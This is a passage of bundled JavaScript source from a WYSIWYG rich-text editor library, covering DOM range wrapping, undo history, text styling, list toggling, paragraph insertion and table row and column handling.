lists.tail(dom.makeOffsetPath(lists.last(paras), this.ec)),\n        offset: this.eo\n      }\n    };\n  }\n\n  /**\n   * getClientRects\n   * @return {Rect[]}\n   */\n  getClientRects() {\n    const nativeRng = this.nativeRange();\n    return nativeRng.getClientRects();\n  }\n}\n\n/**\n * Data structure\n *  * BoundaryPoint: a point of dom tree\n *  * BoundaryPoints: two boundaryPoints corresponding to the start and the end of the Range\n *\n * See to http://www.w3.org/TR/DOM-Level-2-Traversal-Range/ranges.html#Level-2-Range-Position\n */\nexport default {\n  /**\n   * create Range Object From arguments or Browser Selection\n   *\n   * @param {Node} sc - start container\n   * @param {Number} so - start offset\n   * @param {Node} ec - end container\n   * @param {Number} eo - end offset\n   * @return {WrappedRange}\n   */\n  create: function(sc, so, ec, eo) {\n    if (arguments.length === 4) {\n      return new WrappedRange(sc, so, ec, eo);\n    } else if (arguments.length === 2) { // collapsed\n      ec = sc;\n      eo = so;\n      return new WrappedRange(sc, so, ec, eo);\n    } else {\n      let wrappedRange = this.createFromSelection();\n      if (!wrappedRange && arguments.length === 1) {\n        wrappedRange = this.createFromNode(arguments[0]);\n        return wrappedRange.collapse(dom.emptyPara === arguments[0].innerHTML);\n      }\n      return wrappedRange;\n    }\n  },\n\n  createFromSelection: function() {\n    let sc, so, ec, eo;\n    if (env.isW3CRangeSupport) {\n      const selection = document.getSelection();\n      if (!selection || selection.rangeCount === 0) {\n        return null;\n      } else if (dom.isBody(selection.anchorNode)) {\n        // Firefox: returns entire body as range on initialization.\n        // We won't never need it.\n        return null;\n      }\n\n      const nativeRng = selection.getRangeAt(0);\n      sc = nativeRng.startContainer;\n      so = nativeRng.startOffset;\n      ec = nativeRng.endContainer;\n      eo = nativeRng.endOffset;\n    } else { // IE8: TextRange\n      const textRange = document.selection.createRange();\n      const textRangeEnd = textRange.duplicate();\n      textRangeEnd.collapse(false);\n      const textRangeStart = textRange;\n      textRangeStart.collapse(true);\n\n      let startPoint = textRangeToPoint(textRangeStart, true);\n      let endPoint = textRangeToPoint(textRangeEnd, false);\n\n      // same visible point case: range was collapsed.\n      if (dom.isText(startPoint.node) && dom.isLeftEdgePoint(startPoint) &&\n          dom.isTextNode(endPoint.node) && dom.isRightEdgePoint(endPoint) &&\n          endPoint.node.nextSibling === startPoint.node) {\n        startPoint = endPoint;\n      }\n\n      sc = startPoint.cont;\n      so = startPoint.offset;\n      ec = endPoint.cont;\n      eo = endPoint.offset;\n    }\n\n    return new WrappedRange(sc, so, ec, eo);\n  },\n\n  /**\n   * @method\n   *\n   * create WrappedRange from node\n   *\n   * @param {Node} node\n   * @return {WrappedRange}\n   */\n  createFromNode: function(node) {\n    let sc = node;\n    let so = 0;\n    let ec = node;\n    let eo = dom.nodeLength(ec);\n\n    // browsers can't target a picture or void node\n    if (dom.isVoid(sc)) {\n      so = dom.listPrev(sc).length - 1;\n      sc = sc.parentNode;\n    }\n    if (dom.isBR(ec)) {\n      eo = dom.listPrev(ec).length - 1;\n      ec = ec.parentNode;\n    } else if (dom.isVoid(ec)) {\n      eo = dom.listPrev(ec).length;\n      ec = ec.parentNode;\n    }\n\n    return this.create(sc, so, ec, eo);\n  },\n\n  /**\n   * create WrappedRange from node after position\n   *\n   * @param {Node} node\n   * @return {WrappedRange}\n   */\n  createFromNodeBefore: function(node) {\n    return this.createFromNode(node).collapse(true);\n  },\n\n  /**\n   * create WrappedRange from node after position\n   *\n   * @param {Node} node\n   * @return {WrappedRange}\n   */\n  createFromNodeAfter: function(node) {\n    return this.createFromNode(node).collapse();\n  },\n\n  /**\n   * @method\n   *\n   * create WrappedRange from bookmark\n   *\n   * @param {Node} editable\n   * @param {Object} bookmark\n   * @return {WrappedRange}\n   */\n  createFromBookmark: function(editable, bookmark) {\n    const sc = dom.fromOffsetPath(editable, bookmark.s.path);\n    const so = bookmark.s.offset;\n    const ec = dom.fromOffsetPath(editable, bookmark.e.path);\n    const eo = bookmark.e.offset;\n    return new WrappedRange(sc, so, ec, eo);\n  },\n\n  /**\n   * @method\n   *\n   * create WrappedRange from paraBookmark\n   *\n   * @param {Object} bookmark\n   * @param {Node[]} paras\n   * @return {WrappedRange}\n   */\n  createFromParaBookmark: function(bookmark, paras) {\n    const so = bookmark.s.offset;\n    const eo = bookmark.e.offset;\n    const sc = dom.fromOffsetPath(lists.head(paras), bookmark.s.path);\n    const ec = dom.fromOffsetPath(lists.last(paras), bookmark.e.path);\n\n    return new WrappedRange(sc, so, ec, eo);\n  }\n};\n","import $ from 'jquery';\n\n/**\n * @method readFileAsDataURL\n *\n * read contents of file as representing URL\n *\n * @param {File} file\n * @return {Promise} - then: dataUrl\n */\nexport function readFileAsDataURL(file) {\n  return $.Deferred((deferred) => {\n    $.extend(new FileReader(), {\n      onload: (e) => {\n        const dataURL = e.target.result;\n        deferred.resolve(dataURL);\n      },\n      onerror: (err) => {\n        deferred.reject(err);\n      }\n    }).readAsDataURL(file);\n  }).promise();\n}\n\n/**\n * @method createImage\n *\n * create `<image>` from url string\n *\n * @param {String} url\n * @return {Promise} - then: $image\n */\nexport function createImage(url) {\n  return $.Deferred((deferred) => {\n    const $img = $('<img>');\n\n    $img.one('load', () => {\n      $img.off('error abort');\n      deferred.resolve($img);\n    }).one('error abort', () => {\n      $img.off('load').detach();\n      deferred.reject($img);\n    }).css({\n      display: 'none'\n    }).appendTo(document.body).attr('src', url);\n  }).promise();\n}\n","import range from '../core/range';\n\nexport default class History {\n  constructor($editable) {\n    this.stack = [];\n    this.stackOffset = -1;\n    this.$editable = $editable;\n    this.editable = $editable[0];\n  }\n\n  makeSnapshot() {\n    const rng = range.create(this.editable);\n    const emptyBookmark = {s: {path: [], offset: 0}, e: {path: [], offset: 0}};\n\n    return {\n      contents: this.$editable.html(),\n      bookmark: (rng ? rng.bookmark(this.editable) : emptyBookmark)\n    };\n  }\n\n  applySnapshot(snapshot) {\n    if (snapshot.contents !== null) {\n      this.$editable.html(snapshot.contents);\n    }\n    if (snapshot.bookmark !== null) {\n      range.createFromBookmark(this.editable, snapshot.bookmark).select();\n    }\n  }\n\n  /**\n  * @method rewind\n  * Rewinds the history stack back to the first snapshot taken.\n  * Leaves the stack intact, so that \"Redo\" can still be used.\n  */\n  rewind() {\n    // Create snap shot if not yet recorded\n    if (this.$editable.html() !== this.stack[this.stackOffset].contents) {\n      this.recordUndo();\n    }\n\n    // Return to the first available snapshot.\n    this.stackOffset = 0;\n\n    // Apply that snapshot.\n    this.applySnapshot(this.stack[this.stackOffset]);\n  }\n\n  /**\n  * @method reset\n  * Resets the history stack completely; reverting to an empty editor.\n  */\n  reset() {\n    // Clear the stack.\n    this.stack = [];\n\n    // Restore stackOffset to its original value.\n    this.stackOffset = -1;\n\n    // Clear the editable area.\n    this.$editable.html('');\n\n    // Record our first snapshot (of nothing).\n    this.recordUndo();\n  }\n\n  /**\n   * undo\n   */\n  undo() {\n    // Create snap shot if not yet recorded\n    if (this.$editable.html() !== this.stack[this.stackOffset].contents) {\n      this.recordUndo();\n    }\n\n    if (this.stackOffset > 0) {\n      this.stackOffset--;\n      this.applySnapshot(this.stack[this.stackOffset]);\n    }\n  }\n\n  /**\n   * redo\n   */\n  redo() {\n    if (this.stack.length - 1 > this.stackOffset) {\n      this.stackOffset++;\n      this.applySnapshot(this.stack[this.stackOffset]);\n    }\n  }\n\n  /**\n   * recorded undo\n   */\n  recordUndo() {\n    this.stackOffset++;\n\n    // Wash out stack after stackOffset\n    if (this.stack.length > this.stackOffset) {\n      this.stack = this.stack.slice(0, this.stackOffset);\n    }\n\n    // Create new snapshot and push it to the end\n    this.stack.push(this.makeSnapshot());\n  }\n}\n","import $ from 'jquery';\nimport env from '../core/env';\nimport func from '../core/func';\nimport lists from '../core/lists';\nimport dom from '../core/dom';\n\nexport default class Style {\n  /**\n   * @method jQueryCSS\n   *\n   * [workaround] for old jQuery\n   * passing an array of style properties to .css()\n   * will result in an object of property-value pairs.\n   * (compability with version < 1.9)\n   *\n   * @private\n   * @param  {jQuery} $obj\n   * @param  {Array} propertyNames - An array of one or more CSS properties.\n   * @return {Object}\n   */\n  jQueryCSS($obj, propertyNames) {\n    if (env.jqueryVersion < 1.9) {\n      const result = {};\n      $.each(propertyNames, (idx, propertyName) => {\n        result[propertyName] = $obj.css(propertyName);\n      });\n      return result;\n    }\n    return $obj.css(propertyNames);\n  }\n\n  /**\n   * returns style object from node\n   *\n   * @param {jQuery} $node\n   * @return {Object}\n   */\n  fromNode($node) {\n    const properties = ['font-family', 'font-size', 'text-align', 'list-style-type', 'line-height'];\n    const styleInfo = this.jQueryCSS($node, properties) || {};\n    styleInfo['font-size'] = parseInt(styleInfo['font-size'], 10);\n    return styleInfo;\n  }\n\n  /**\n   * paragraph level style\n   *\n   * @param {WrappedRange} rng\n   * @param {Object} styleInfo\n   */\n  stylePara(rng, styleInfo) {\n    $.each(rng.nodes(dom.isPara, {\n      includeAncestor: true\n    }), (idx, para) => {\n      $(para).css(styleInfo);\n    });\n  }\n\n  /**\n   * insert and returns styleNodes on range.\n   *\n   * @param {WrappedRange} rng\n   * @param {Object} [options] - options for styleNodes\n   * @param {String} [options.nodeName] - default: `SPAN`\n   * @param {Boolean} [options.expandClosestSibling] - default: `false`\n   * @param {Boolean} [options.onlyPartialContains] - default: `false`\n   * @return {Node[]}\n   */\n  styleNodes(rng, options) {\n    rng = rng.splitText();\n\n    const nodeName = (options && options.nodeName) || 'SPAN';\n    const expandClosestSibling = !!(options && options.expandClosestSibling);\n    const onlyPartialContains = !!(options && options.onlyPartialContains);\n\n    if (rng.isCollapsed()) {\n      return [rng.insertNode(dom.create(nodeName))];\n    }\n\n    let pred = dom.makePredByNodeName(nodeName);\n    const nodes = rng.nodes(dom.isText, {\n      fullyContains: true\n    }).map((text) => {\n      return dom.singleChildAncestor(text, pred) || dom.wrap(text, nodeName);\n    });\n\n    if (expandClosestSibling) {\n      if (onlyPartialContains) {\n        const nodesInRange = rng.nodes();\n        // compose with partial contains predication\n        pred = func.and(pred, (node) => {\n          return lists.contains(nodesInRange, node);\n        });\n      }\n\n      return nodes.map((node) => {\n        const siblings = dom.withClosestSiblings(node, pred);\n        const head = lists.head(siblings);\n        const tails = lists.tail(siblings);\n        $.each(tails, (idx, elem) => {\n          dom.appendChildNodes(head, elem.childNodes);\n          dom.remove(elem);\n        });\n        return lists.head(siblings);\n      });\n    } else {\n      return nodes;\n    }\n  }\n\n  /**\n   * get current style on cursor\n   *\n   * @param {WrappedRange} rng\n   * @return {Object} - object contains style properties.\n   */\n  current(rng) {\n    const $cont = $(!dom.isElement(rng.sc) ? rng.sc.parentNode : rng.sc);\n    let styleInfo = this.fromNode($cont);\n\n    // document.queryCommandState for toggle state\n    // [workaround] prevent Firefox nsresult: \"0x80004005 (NS_ERROR_FAILURE)\"\n    try {\n      styleInfo = $.extend(styleInfo, {\n        'font-bold': document.queryCommandState('bold') ? 'bold' : 'normal',\n        'font-italic': document.queryCommandState('italic') ? 'italic' : 'normal',\n        'font-underline': document.queryCommandState('underline') ? 'underline' : 'normal',\n        'font-subscript': document.queryCommandState('subscript') ? 'subscript' : 'normal',\n        'font-superscript': document.queryCommandState('superscript') ? 'superscript' : 'normal',\n        'font-strikethrough': document.queryCommandState('strikethrough') ? 'strikethrough' : 'normal',\n        'font-family': document.queryCommandValue('fontname') || styleInfo['font-family']\n      });\n    } catch (e) {}\n\n    // list-style-type to list-style(unordered, ordered)\n    if (!rng.isOnList()) {\n      styleInfo['list-style'] = 'none';\n    } else {\n      const orderedTypes = ['circle', 'disc', 'disc-leading-zero', 'square'];\n      const isUnordered = $.inArray(styleInfo['list-style-type'], orderedTypes) > -1;\n      styleInfo['list-style'] = isUnordered ? 'unordered' : 'ordered';\n    }\n\n    const para = dom.ancestor(rng.sc, dom.isPara);\n    if (para && para.style['line-height']) {\n      styleInfo['line-height'] = para.style.lineHeight;\n    } else {\n      const lineHeight = parseInt(styleInfo['line-height'], 10) / parseInt(styleInfo['font-size'], 10);\n      styleInfo['line-height'] = lineHeight.toFixed(1);\n    }\n\n    styleInfo.anchor = rng.isOnAnchor() && dom.ancestor(rng.sc, dom.isAnchor);\n    styleInfo.ancestors = dom.listAncestor(rng.sc, dom.isEditable);\n    styleInfo.range = rng;\n\n    return styleInfo;\n  }\n}\n","import $ from 'jquery';\nimport lists from '../core/lists';\nimport func from '../core/func';\nimport dom from '../core/dom';\nimport range from '../core/range';\n\nexport default class Bullet {\n  /**\n   * toggle ordered list\n   */\n  insertOrderedList(editable) {\n    this.toggleList('OL', editable);\n  }\n\n  /**\n   * toggle unordered list\n   */\n  insertUnorderedList(editable) {\n    this.toggleList('UL', editable);\n  }\n\n  /**\n   * indent\n   */\n  indent(editable) {\n    const rng = range.create(editable).wrapBodyInlineWithPara();\n\n    const paras = rng.nodes(dom.isPara, { includeAncestor: true });\n    const clustereds = lists.clusterBy(paras, func.peq2('parentNode'));\n\n    $.each(clustereds, (idx, paras) => {\n      const head = lists.head(paras);\n      if (dom.isLi(head)) {\n        this.wrapList(paras, head.parentNode.nodeName);\n      } else {\n        $.each(paras, (idx, para) => {\n          $(para).css('marginLeft', (idx, val) => {\n            return (parseInt(val, 10) || 0) + 25;\n          });\n        });\n      }\n    });\n\n    rng.select();\n  }\n\n  /**\n   * outdent\n   */\n  outdent(editable) {\n    const rng = range.create(editable).wrapBodyInlineWithPara();\n\n    const paras = rng.nodes(dom.isPara, { includeAncestor: true });\n    const clustereds = lists.clusterBy(paras, func.peq2('parentNode'));\n\n    $.each(clustereds, (idx, paras) => {\n      const head = lists.head(paras);\n      if (dom.isLi(head)) {\n        this.releaseList([paras]);\n      } else {\n        $.each(paras, (idx, para) => {\n          $(para).css('marginLeft', (idx, val) => {\n            val = (parseInt(val, 10) || 0);\n            return val > 25 ? val - 25 : '';\n          });\n        });\n      }\n    });\n\n    rng.select();\n  }\n\n  /**\n   * toggle list\n   *\n   * @param {String} listName - OL or UL\n   */\n  toggleList(listName, editable) {\n    const rng = range.create(editable).wrapBodyInlineWithPara();\n\n    let paras = rng.nodes(dom.isPara, { includeAncestor: true });\n    const bookmark = rng.paraBookmark(paras);\n    const clustereds = lists.clusterBy(paras, func.peq2('parentNode'));\n\n    // paragraph to list\n    if (lists.find(paras, dom.isPurePara)) {\n      let wrappedParas = [];\n      $.each(clustereds, (idx, paras) => {\n        wrappedParas = wrappedParas.concat(this.wrapList(paras, listName));\n      });\n      paras = wrappedParas;\n    // list to paragraph or change list style\n    } else {\n      const diffLists = rng.nodes(dom.isList, {\n        includeAncestor: true\n      }).filter((listNode) => {\n        return !$.nodeName(listNode, listName);\n      });\n\n      if (diffLists.length) {\n        $.each(diffLists, (idx, listNode) => {\n          dom.replace(listNode, listName);\n        });\n      } else {\n        paras = this.releaseList(clustereds, true);\n      }\n    }\n\n    range.createFromParaBookmark(bookmark, paras).select();\n  }\n\n  /**\n   * @param {Node[]} paras\n   * @param {String} listName\n   * @return {Node[]}\n   */\n  wrapList(paras, listName) {\n    const head = lists.head(paras);\n    const last = lists.last(paras);\n\n    const prevList = dom.isList(head.previousSibling) && head.previousSibling;\n    const nextList = dom.isList(last.nextSibling) && last.nextSibling;\n\n    const listNode = prevList || dom.insertAfter(dom.create(listName || 'UL'), last);\n\n    // P to LI\n    paras = paras.map((para) => {\n      return dom.isPurePara(para) ? dom.replace(para, 'LI') : para;\n    });\n\n    // append to list(<ul>, <ol>)\n    dom.appendChildNodes(listNode, paras);\n\n    if (nextList) {\n      dom.appendChildNodes(listNode, lists.from(nextList.childNodes));\n      dom.remove(nextList);\n    }\n\n    return paras;\n  }\n\n  /**\n   * @method releaseList\n   *\n   * @param {Array[]} clustereds\n   * @param {Boolean} isEscapseToBody\n   * @return {Node[]}\n   */\n  releaseList(clustereds, isEscapseToBody) {\n    let releasedParas = [];\n\n    $.each(clustereds, (idx, paras) => {\n      const head = lists.head(paras);\n      const last = lists.last(paras);\n\n      const headList = isEscapseToBody ? dom.lastAncestor(head, dom.isList) : head.parentNode;\n      const lastList = headList.childNodes.length > 1 ? dom.splitTree(headList, {\n        node: last.parentNode,\n        offset: dom.position(last) + 1\n      }, {\n        isSkipPaddingBlankHTML: true\n      }) : null;\n\n      const middleList = dom.splitTree(headList, {\n        node: head.parentNode,\n        offset: dom.position(head)\n      }, {\n        isSkipPaddingBlankHTML: true\n      });\n\n      paras = isEscapseToBody ? dom.listDescendant(middleList, dom.isLi)\n        : lists.from(middleList.childNodes).filter(dom.isLi);\n\n      // LI to P\n      if (isEscapseToBody || !dom.isList(headList.parentNode)) {\n        paras = paras.map((para) => {\n          return dom.replace(para, 'P');\n        });\n      }\n\n      $.each(lists.from(paras).reverse(), (idx, para) => {\n        dom.insertAfter(para, headList);\n      });\n\n      // remove empty lists\n      const rootLists = lists.compact([headList, middleList, lastList]);\n      $.each(rootLists, (idx, rootList) => {\n        const listNodes = [rootList].concat(dom.listDescendant(rootList, dom.isList));\n        $.each(listNodes.reverse(), (idx, listNode) => {\n          if (!dom.nodeLength(listNode)) {\n            dom.remove(listNode, true);\n          }\n        });\n      });\n\n      releasedParas = releasedParas.concat(paras);\n    });\n\n    return releasedParas;\n  }\n}\n","import $ from 'jquery';\nimport dom from '../core/dom';\nimport range from '../core/range';\nimport Bullet from '../editing/Bullet';\n\n/**\n * @class editing.Typing\n *\n * Typing\n *\n */\nexport default class Typing {\n  constructor() {\n    // a Bullet instance to toggle lists off\n    this.bullet = new Bullet();\n  }\n\n  /**\n   * insert tab\n   *\n   * @param {WrappedRange} rng\n   * @param {Number} tabsize\n   */\n  insertTab(rng, tabsize) {\n    const tab = dom.createText(new Array(tabsize + 1).join(dom.NBSP_CHAR));\n    rng = rng.deleteContents();\n    rng.insertNode(tab, true);\n\n    rng = range.create(tab, tabsize);\n    rng.select();\n  }\n\n  /**\n   * insert paragraph\n   */\n  insertParagraph(editable) {\n    let rng = range.create(editable);\n\n    // deleteContents on range.\n    rng = rng.deleteContents();\n\n    // Wrap range if it needs to be wrapped by paragraph\n    rng = rng.wrapBodyInlineWithPara();\n\n    // finding paragraph\n    const splitRoot = dom.ancestor(rng.sc, dom.isPara);\n\n    let nextPara;\n    // on paragraph: split paragraph\n    if (splitRoot) {\n      // if it is an empty line with li\n      if (dom.isEmpty(splitRoot) && dom.isLi(splitRoot)) {\n        // toogle UL/OL and escape\n        this.bullet.toggleList(splitRoot.parentNode.nodeName);\n        return;\n      // if it is an empty line with para on blockquote\n      } else if (dom.isEmpty(splitRoot) && dom.isPara(splitRoot) && dom.isBlockquote(splitRoot.parentNode)) {\n        // escape blockquote\n        dom.insertAfter(splitRoot, splitRoot.parentNode);\n        nextPara = splitRoot;\n      // if new line has content (not a line break)\n      } else {\n        nextPara = dom.splitTree(splitRoot, rng.getStartPoint());\n\n        let emptyAnchors = dom.listDescendant(splitRoot, dom.isEmptyAnchor);\n        emptyAnchors = emptyAnchors.concat(dom.listDescendant(nextPara, dom.isEmptyAnchor));\n\n        $.each(emptyAnchors, (idx, anchor) => {\n          dom.remove(anchor);\n        });\n\n        // replace empty heading, pre or custom-made styleTag with P tag\n        if ((dom.isHeading(nextPara) || dom.isPre(nextPara) || dom.isCustomStyleTag(nextPara)) && dom.isEmpty(nextPara)) {\n          nextPara = dom.replace(nextPara, 'p');\n        }\n      }\n    // no paragraph: insert empty paragraph\n    } else {\n      const next = rng.sc.childNodes[rng.so];\n      nextPara = $(dom.emptyPara)[0];\n      if (next) {\n        rng.sc.insertBefore(nextPara, next);\n      } else {\n        rng.sc.appendChild(nextPara);\n      }\n    }\n\n    range.create(nextPara, 0).normalize().select().scrollIntoView(editable);\n  }\n}\n","import $ from 'jquery';\nimport dom from '../core/dom';\nimport range from '../core/range';\nimport lists from '../core/lists';\n\n/**\n * @class Create a virtual table to create what actions to do in change.\n * @param {object} startPoint Cell selected to apply change.\n * @param {enum} where  Where change will be applied Row or Col. Use enum: TableResultAction.where\n * @param {enum} action Action to be applied. Use enum: TableResultAction.requestAction\n * @param {object} domTable Dom element of table to make changes.\n */\nconst TableResultAction = function(startPoint, where, action, domTable) {\n  const _startPoint = { 'colPos': 0, 'rowPos': 0 };\n  const _virtualTable = [];\n  const _actionCellList = [];\n\n  /// ///////////////////////////////////////////\n  // Private functions\n  /// ///////////////////////////////////////////\n\n  /**\n   * Set the startPoint of action.\n   */\n  function setStartPoint() {\n    if (!startPoint || !startPoint.tagName || (startPoint.tagName.toLowerCase() !== 'td' && startPoint.tagName.toLowerCase() !== 'th')) {\n      console.error('Impossible to identify start Cell point.', startPoint);\n      return;\n    }\n    _startPoint.colPos = startPoint.cellIndex;\n    if (!startPoint.parentElement || !startPoint.parentElement.tagName || startPoint.parentElement.tagName.toLowerCase() !== 'tr') {\n      console.error('Impossible to identify start Row point.', startPoint);\n      return;\n    }\n    _startPoint.rowPos = startPoint.parentElement.rowIndex;\n  }\n\n  /**\n   * Define virtual table position info object.\n   *\n   * @param {int} rowIndex Index position in line of virtual table.\n   * @param {int} cellIndex Index position in column of virtual table.\n   * @param {object} baseRow Row affected by this position.\n   * @param {object} baseCell Cell affected by this position.\n   * @param {bool} isSpan Inform if it is an span cell/row.\n   */\n  function setVirtualTablePosition(rowIndex, cellIndex, baseRow, baseCell, isRowSpan, isColSpan, isVirtualCell) {\n    const objPosition = {\n      'baseRow': baseRow,\n      'baseCell': baseCell,\n      'isRowSpan': isRowSpan,\n      'isColSpan': isColSpan,\n      'isVirtual': isVirtualCell\n    };\n    if (!_virtualTable[rowIndex]) {\n      _virtualTable[rowIndex] = [];\n    }\n    _virtualTable[rowIndex][cellIndex] = objPosition;\n  }\n\n  /**\n   * Create action cell object.\n   *\n   * @param {object} virtualTableCellObj Object of specific position on virtual table.\n   * @param {enum} resultAction Action to be applied in that item.\n   */\n  function getActionCell(virtualTableCellObj, resultAction, virtualRowPosition, virtualColPosition) {\n    return {\n      'baseCell': virtualTableCellObj.baseCell,\n      'action': resultAction,\n      'virtualTable': {\n        'rowIndex': virtualRowPosition,\n        'cellIndex': virtualColPosition\n      }\n    };\n  }\n\n  /**\n   * Recover free index of row to append Cell.\n   *\n   * @param {int} rowIndex Index of row to find free space.\n   * @param {int} cellIndex Index of cell to find free space in table.\n   */\n  function recoverCellIndex(rowIndex, cellIndex) {\n    if (!_virtualTable[rowIndex]) {\n      return cellIndex;\n    }\n    if (!_virtualTable[rowIndex][cellIndex]) {\n      return cellIndex;\n    }\n\n    let newCellIndex = cellIndex;\n    while (_virtualTable[rowIndex][newCellIndex]) {\n      newCellIndex++;\n      if (!_virtualTable[rowIndex][newCellIndex]) {\n        return newCellIndex;\n      }\n    }\n  }\n\n  /**\n   * Recover info about row and cell and add information to virtual table.\n   *\n   * @param {object} row Row to recover information.\n   * @param {object} cell Cell to recover information.\n   */\n  function addCellInfoToVirtual(row, cell) {\n    const cellIndex = recoverCellIndex(row.rowIndex, cell.cellIndex);\n    const cellHasColspan = (cell.colSpan > 1);\n    const cellHasRowspan = (cell.rowSpan > 1);\n    const isThisSelectedCell = (row.rowIndex === _startPoint.rowPos && cell.cellIndex === _startPoint.colPos);\n    setVirtualTablePosition(row.rowIndex, cellIndex, row, cell, cellHasRowspan, cellHasColspan, false);\n\n    // Add span rows to virtual Table.\n    const rowspanNumber = cell.attributes.rowSpan ? parseInt(cell.attributes.rowSpan.value, 10) : 0;\n    if (rowspanNumber > 1) {\n      for (let rp = 1; rp < rowspanNumber; rp++) {\n        const rowspanIndex = row.rowIndex + rp;\n        adjustStartPoint(rowspanIndex, cellIndex, cell, isThisSelectedCell);\n        setVirtualTablePosition(rowspanIndex, cellIndex, row, cell, true, cellHasColspan, true);\n      }\n    }\n\n    // Add span cols to virtual table.\n    const colspanNumber = cell.attributes.colSpan ? parseInt(cell.attributes.colSpan.value, 10) : 0;\n    if (colspanNumber > 1) {\n      for (let cp = 1; cp < colspanNumber; cp++) {\n        const cellspanIndex = recoverCellIndex(row.rowIndex, (cellIndex + cp));\n        adjustStartPoint(row.rowIndex, cellspanIndex, cell, isThisSelectedCell);\n        setVirtualTablePosition(row.rowIndex, cellspanIndex, row, cell, cellHasRowspan, true, true);\n      }\n    }\n  }\n\n  /**\n   * Process validation and adjust of start point if needed\n   *\n   * @param {int} rowIndex\n   * @param {int} cellIndex\n   * @param {object} cell\n   * @param {bool} isSelectedCell\n   */\n  function adjustStartPoint(rowIndex, cellIndex, cell, isSelectedCell) {\n    if (rowIndex === _startPoint.rowPos && _startPoint.colPos >= cell.cellIndex && cell.cellIndex <= cellIndex && !isSelectedCell) {\n      _startPoint.colPos++;\n    }\n  }\n\n  /**\n   * Create virtual table of cells with all cells, including span cells.\n   */\n  function createVirtualTable() {\n    const rows = domTable.rows;\n    for (let rowIndex = 0; rowIndex < rows.length; rowIndex++) {\n      const cells = rows[rowIndex].cells;\n      for (let cellIndex = 0; cellIndex < cells.length; cellIndex++) {\n        addCellInfoToVirtual(rows[rowIndex], cells[cellIndex]);\n      }\n    }\n  }\n\n  /**\n   * Get action to be applied on the cell.\n   *\n   * @param {object} cell virtual table cell to apply action\n   */\n  function getDeleteResultActionToCell(cell) {\n    switch (where) {\n      case TableResultAction.where.Column:\n        if (cell.isColSpan) {\n          return TableResultAction.resultAction.SubtractSpanCount;\n        }\n        break;\n      case TableResultAction.where.Row:\n        if (!cell.isVirtual && cell.isRowSpan) {\n          return TableResultAction.resultAction.AddCell;\n        } else if (cell.isRowSpan) {\n          return TableResultAction.resultAction.SubtractSpanCount;\n        }\n        break;\n    }\n    return TableResultAction.resultAction.RemoveCell;\n  }\n\n  /**\n   * Get action to be applied on the cell.\n   *\n   * @param {object} cell virtual table cell to apply action\n   */\n  function getAddResultActionToCell(cell) {\n    switch (where) {\n      case TableResultAction.where.Column:\n        if (cell.isColSpan) {\n          return TableResultAction.resultAction.SumSpanCount;\n        } else if (cell.isRowSpan && cell.isVirtual) {\n          return TableResultAction.resultAction.Ignore;\n        }\n        break;\n      case TableResultAction.where.Row:\n        if (cell.isRowSpan) {\n          return TableResultAction.resultAction.SumSpanCount;\n        } else if (cell.isColSpan && cell.isVirtual) {\n          return TableResultAction.resultAction.Ignore;\n        }\n        break;\n    }\n    return TableResultAction.resultAction.AddCell;\n  }\n\n  function init() {\n    setStartPoint();\n    createVirtualTable();\n  }\n\n  /// ///////////////////////////////////////////\n  // Public functions\n  /// ///////////////////////////////////////////\n\n  /**\n   * Recover array os what to do in table.\n   */\n  this.getActionList = function() {\n    const fixedRow = (where === TableResultAction.where.Row) ? _startPoint.rowPos : -1;\n    const fixedCol = (where === TableResultAction.where.Column) ? _startPoint.colPos : -1;\n\n    let actualPosition = 0;\n    let canContinue = true;\n    while (canContinue) {\n      const rowPosition = (fixedRow >= 0) ? fixedRow : actualPosition;\n      const colPosition = (fixedCol >= 0) ? fixedCol : actualPosition;\n      const row = _virtualTable[rowPosition];\n      if (!row) {\n        canContinue = false;\n        return _actionCellList;\n      }\n      const cell = row[colPosition];\n      if (!cell) {\n        canContinue = false;\n        return _actionCellList;\n      }\n\n      // Define action to be applied in this cell\n      let resultAction = TableResultAction.resultAction.Ignore;\n      switch (action) {\n        case TableResultAction.requestAction.Add:\n          resultAction = getAddResultActionToCell(cell);\n          break;\n        case TableResultAction.requestAction.Delete:\n          resultAction = getDeleteResultActionToCell(cell);\n          break;\n      }\n      _actionCellList.push(getActionCell(cell, resultAction, rowPosition, colPosition));\n      actualPosition++;\n    }\n\n    return _actionCellList;\n  };\n\n  init();\n};\n/**\n*\n* Where action occours enum.\n*/\nTableResultAction.where = { 'Row': 0, 'Column': 1 };\n/**\n*\n* Requested action to apply enum.\n*/\nTableResultAction.requestAction = { 'Add': 0, 'Delete': 1 };\n/**\n*\n* Result action to be executed enum.\n*/\nTableResultAction.resultAction = { 'Ignore': 0, 'SubtractSpanCount': 1, 'RemoveCell': 2, 'AddCell': 3, 'SumSpanCount': 4 };\n\n/**\n *\n * @class editing.Table\n *\n * Table\n *\n */\nexport default class Table {\n  /**\n   * handle tab key\n   *\n   * @param {WrappedRange} rng\n   * @param {Boolean} isShift\n   */\n  tab(rng, isShift) {\n    const cell = dom.ancestor(rng.commonAncestor(), dom.isCell);\n    const table = dom.ancestor(cell, dom.isTable);\n    const cells = dom.listDescendant(table, dom.isCell);\n\n    const nextCell = lists[isShift ? 'prev' : 'next'](cells, cell);\n    if (nextCell) {\n      range.create(nextCell, 0).select();\n    }\n  }\n\n  /**\n   * Add a new row\n   *\n   * @param {WrappedRange} rng\n   * @param {String} position (top/bottom)\n   * @return {Node}\n   */\n  addRow(rng, position) {\n    const cell = dom.ancestor(rng.commonAncestor(), dom.isCell);\n\n    const currentTr = $(cell).closest('tr');\n    const trAttributes = this.recoverAttributes(currentTr);\n    const html = $('<tr' + trAttributes + '></tr>');\n\n    const vTable = new TableResultAction(cell, TableResultAction.where.Row,\n      TableResultAction.requestAction.Add, $(currentTr).closest('table')[0]);\n    const actions = vTable.getActionList();\n\n    for (let idCell = 0; idCell < actions.length; idCell++) {\n      const currentCell = actions[idCell];\n      const tdAttributes = this.recoverAttributes(currentCell.baseCell);\n      switch (currentCell.action) {\n        case TableResultAction.resultAction.AddCell:\n          html.append('<td' + tdAttributes + '>' + dom.blank + '</td>');\n          break;\n        case TableResultAction.resultAction.SumSpanCount:\n          if (position === 'top') {\n            const baseCellTr = currentCell.baseCell.parent;\n            const isTopFromRowSpan = (!baseCellTr ? 0 : currentCell.baseCell.closest('tr').rowIndex) <= currentTr[0].rowIndex;\n            if (isTopFromRowSpan) {\n              const newTd = $('<div></div>').append($('<td' + tdAttributes + '>' + dom.blank + '</td>').removeAttr('rowspan')).html();\n              html.append(newTd);\n              break;\n            }\n          }\n          let rowspanNumber = 